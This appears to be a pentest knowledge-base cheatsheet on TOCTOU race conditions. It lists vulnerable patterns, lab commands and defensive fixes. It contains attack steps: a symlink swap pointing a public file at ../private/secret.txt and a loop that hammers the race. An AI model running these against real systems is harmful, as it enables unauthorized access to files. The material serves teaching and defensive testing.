Operator On The Wire
← Back to Knowledge Base
OOTW / Chapter II - Local / 01. Applications / 03. Race Conditions

Cheatsheet

Use this as a quick reference while testing race conditions in labs and authorized assessments.


Core Pattern

check
gap
use

TOCTOU:

Time Of Check
Time Of Use

The application checks one state, then uses another state.


Common Vulnerable Patterns

Filesystem:

exists() then open()
is_file() then open()
access() then open()
stat() then open()
realpath() then later open(original_path)
load file then verify content then reopen path
scan or parse file then render original path
delete then recreate predictable file
scan upload then serve upload

Shell:

test -f "$path" && cat "$path"
[ -e "$file" ] && echo data > "$file"
rm -f /tmp/output
sleep 1
cat input > /tmp/output

Application logic:

check balance then withdraw
check token then consume
check role then act
check stock then purchase
check coupon then redeem

Interesting Locations

/tmp
/var/tmp
/dev/shm
upload staging directories
cache directories
spool directories
backup directories
application work directories

Lab Commands

Normal run:

python3 viewer.py vuln note.txt

Manual swap during processing:

rm -f public/note.txt
ln -s ../private/secret.txt public/note.txt

Reset:

rm -f public/note.txt
cat > public/note.txt <<'EOF'
TITLE: public note
STATUS: approved
BODY:
This report is safe to render.
EOF

Fixed symlink test:

rm -f public/note.txt
ln -s ../private/secret.txt public/note.txt
python3 viewer.py fixed note.txt

Expected:

[Errno 40] Too many levels of symbolic links

Useful Tools

Trace file syscalls:

strace -f -e trace=file ./viewer.py vuln note.txt

Watch filesystem events:

inotifywait -m public

Find symlinks:

find /tmp /var/tmp /dev/shm -type l -ls 2>/dev/null
find public -type l -ls

Monitor Linux processes:

pspy64

Exploit Ideas

Swap a safe file for a symlink:

safe regular file -> symlink to target

Swap content after validation:

benign upload -> malicious upload

Win delete/recreate window:

program removes predictable file
attacker creates symlink with same name
program writes through symlink

Hammer the race:

while true; do
  rm -f target
  ln -s replacement target 2>/dev/null
done

Defensive Review

Confirm:

  • Temporary filenames are unpredictable.
  • Safe APIs such as mkstemp are used.
  • Sensitive files are not created in user-writable directories.
  • The application opens once and validates the opened descriptor.
  • The application does not validate a path and later reopen the path.
  • Symlinks are rejected where appropriate.
  • O_NOFOLLOW is used for sensitive opens.
  • Directory permissions prevent untrusted swaps.
  • Database state changes use transactions.
  • Tokens and coupons are consumed atomically.
  • Duplicate requests are handled safely.

Key Fixes

Filesystem:

fd = os.open(path, os.O_RDONLY | os.O_NOFOLLOW)
st = os.fstat(fd)
read from fd

Database:

BEGIN
SELECT row FOR UPDATE
validate state
update state
COMMIT

Design:

remove the timing gap
make the operation atomic
validate the object actually used